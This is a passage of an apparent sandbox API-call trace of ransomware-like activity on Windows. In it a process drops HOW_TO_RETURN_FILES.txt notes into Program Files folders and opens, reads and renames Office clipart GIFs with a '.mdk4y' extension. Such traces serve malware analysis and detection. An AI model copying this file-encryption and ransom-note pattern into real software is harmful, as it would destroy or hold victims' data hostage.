hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0126.844] AreFileApisANSI () returned 1 [0126.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 91 [0126.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0126.844] GetFileType (hFile=0x130) returned 0x1 [0126.845] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0126.845] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0126.845] AreFileApisANSI () returned 1 [0126.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaf30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0126.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0126.846] GetFileType (hFile=0x12c) returned 0x1 [0126.847] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 0 [0126.847] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0126.847] AreFileApisANSI () returned 1 [0126.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0126.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0126.847] GetFileType (hFile=0x128) returned 0x1 [0126.848] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 0 [0126.848] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0126.848] AreFileApisANSI () returned 1 [0126.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9898, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0126.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft analysis services\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0126.849] GetFileType (hFile=0x124) returned 0x1 [0126.849] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0126.849] AreFileApisANSI () returned 1 [0126.849] GetACP () returned 0x4e4 [0126.849] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft Office", cchWideChar=16, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="Microsoft Officeis Services", lpUsedDefaultChar=0x37e0f0) returned 16 [0126.849] AreFileApisANSI () returned 1 [0126.849] GetACP () returned 0x4e4 [0126.849] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699928, cbMultiByte=34, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\7") returned 34 [0126.850] AreFileApisANSI () returned 1 [0126.850] GetACP () returned 0x4e4 [0126.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0126.850] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.850] AreFileApisANSI () returned 1 [0126.850] GetACP () returned 0x4e4 [0126.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0126.850] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.850] AreFileApisANSI () returned 1 [0126.850] GetACP () returned 0x4e4 [0126.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CLIPART", cchWideChar=7, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="CLIPARTxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 7 [0126.850] AreFileApisANSI () returned 1 [0126.850] GetACP () returned 0x4e4 [0126.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699960, cbMultiByte=42, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\") returned 42 [0126.859] AreFileApisANSI () returned 1 [0126.859] GetACP () returned 0x4e4 [0126.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dfd8) returned 1 [0126.859] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.859] AreFileApisANSI () returned 1 [0126.859] GetACP () returned 0x4e4 [0126.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dfd8) returned 2 [0126.859] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.859] AreFileApisANSI () returned 1 [0126.859] GetACP () returned 0x4e4 [0126.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PUB60COR", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PUB60CORAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dfd8) returned 8 [0126.859] AreFileApisANSI () returned 1 [0126.859] GetACP () returned 0x4e4 [0126.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=51, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\k㑚ĺ괈j饠i+") returned 51 [0127.017] AreFileApisANSI () returned 1 [0127.017] GetACP () returned 0x4e4 [0127.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".xxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pV6TOktr2CXX/gKMzD3vIDhAO6cYmX03onBSbc1cpSqlJOR5OEB6KdT+xhw==", lpUsedDefaultChar=0x37df4c) returned 1 [0127.018] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.028] AreFileApisANSI () returned 1 [0127.028] GetACP () returned 0x4e4 [0127.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..xCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pV6TOktr2CXX/gKMzD3vIDhAO6cYmX03onBSbc1cpSqlJOR5OEB6KdT+xhw==", lpUsedDefaultChar=0x37df4c) returned 2 [0127.028] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.028] AreFileApisANSI () returned 1 [0127.028] GetACP () returned 0x4e4 [0127.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00004_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00004_.GIFEZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pV6TOktr2CXX/gKMzD3vIDhAO6cYmX03onBSbc1cpSqlJOR5OEB6KdT+xhw==", lpUsedDefaultChar=0x37df4c) returned 12 [0127.029] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0127.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820225900000) returned 1 [0127.029] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2340, lpOverlapped=0x0) returned 1 [0127.152] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820238200000) returned 1 [0127.152] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820238200000) returned 1 [0127.153] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.mdk4y")) returned 1 [0127.154] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.154] AreFileApisANSI () returned 1 [0127.154] GetACP () returned 0x4e4 [0127.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00011_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00011_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0127.154] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0127.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820238400000) returned 1 [0127.154] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c30, lpOverlapped=0x0) returned 1 [0127.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820240200000) returned 1 [0127.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820240200000) returned 1 [0127.172] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.mdk4y")) returned 1 [0127.173] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.173] AreFileApisANSI () returned 1 [0127.173] GetACP () returned 0x4e4 [0127.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00021_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00021_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0127.173] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0127.207] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820243700000) returned 1 [0127.207] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3a19, lpOverlapped=0x0) returned 1 [0127.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820247100000) returned 1 [0127.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820247100000) returned 1 [0127.242] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.mdk4y")) returned 1 [0127.242] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.242] AreFileApisANSI () returned 1 [0127.242] GetACP () returned 0x4e4 [0127.242] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00037_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00037_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0127.242] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0127.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820247300000) returned 1 [0127.243] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a1c, lpOverlapped=0x0) returned 1 [0127.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820255900000) returned 1 [0127.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820255900000) returned 1 [0127.329] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.mdk4y")) returned 1 [0127.331] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.331] AreFileApisANSI () returned 1 [0127.331] GetACP () returned 0x4e4 [0127.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00038_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00038_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0127.332] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0127.375] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820260500000) returned 1 [0127.375] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcb3, lpOverlapped=0x0) returned 1 [0127.580] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820281000000) returned 1 [0127.580] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820281000000) returned 1 [0127.581] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.mdk4y")) returned 1 [0127.582] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.582] AreFileApisANSI () returned 1 [0127.582] GetACP () returned 0x4e4 [0127.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00040_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00040_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0127.582] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0127.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820281200000) returned 1 [0127.582] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1fa1, lpOverlapped=0x0) returned 1 [0127.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820284000000) returned 1 [0127.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820284000000) returned 1 [0127.611] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.mdk4y")) returned 1 [0127.611] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.611] AreFileApisANSI () returned 1 [0127.611] GetACP () returned 0x4e4 [0127.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00052_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00052_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0127.611] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0127.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820284200000) returned 1 [0127.612] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e06, lpOverlapped=0x0) returned 1 [0127.712] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820294200000) returned 1 [0127.712] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820294200000) returned 1 [0127.713] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.mdk4y")) returned 1 [0127.713] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.713] AreFileApisANSI () returned 1 [0127.713] GetACP () returned 0x4e4 [0127.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00057_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00057_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0127.713] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0127.714] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820294400000) returned 1 [0127.714] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2e73, lpOverlapped=0x0) returned 1 [0127.734] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820296400000) returned 1 [0127.734] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820296400000) returned 1 [0127.735] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.mdk4y")) returned 1 [0127.735] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0127.735] AreFileApisANSI () returned 1 [0127.735] GetACP () returned 0x4e4 [0127.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00090_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00090_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0127.735] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0127.736] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820296600000) returned 1 [0127.736] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, 